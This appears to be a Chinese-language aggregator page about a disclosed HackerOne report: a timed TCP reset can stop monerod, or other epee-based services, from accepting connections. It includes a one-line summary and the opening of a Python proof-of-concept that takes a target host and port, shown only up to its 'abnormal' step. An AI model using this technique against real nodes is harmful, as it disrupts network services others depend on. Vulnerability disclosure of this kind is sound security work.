monerod can be disabled by a well-timed TCP reset packet
该报告还没有中文解读。
原文摘录
摘自原文(2886 字符中的一小部分)
**Summary:** A well-timed TCP reset (RST) can cause monerod (or any service relying on epee) to stop accepting new connections.
原文中的代码
#!/usr/bin/env python3 import socket, struct, sys tgt_host = sys.argv[1] tgt_port = int(sys.argv[2]) # Normal connection, send some data, end with graceful FIN. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) s.connect((tgt_host, tgt_port)) s.send(b"hello") s.close() # Abnormal …
默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Monero 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @ahook · 版权归作者与 Monero 所有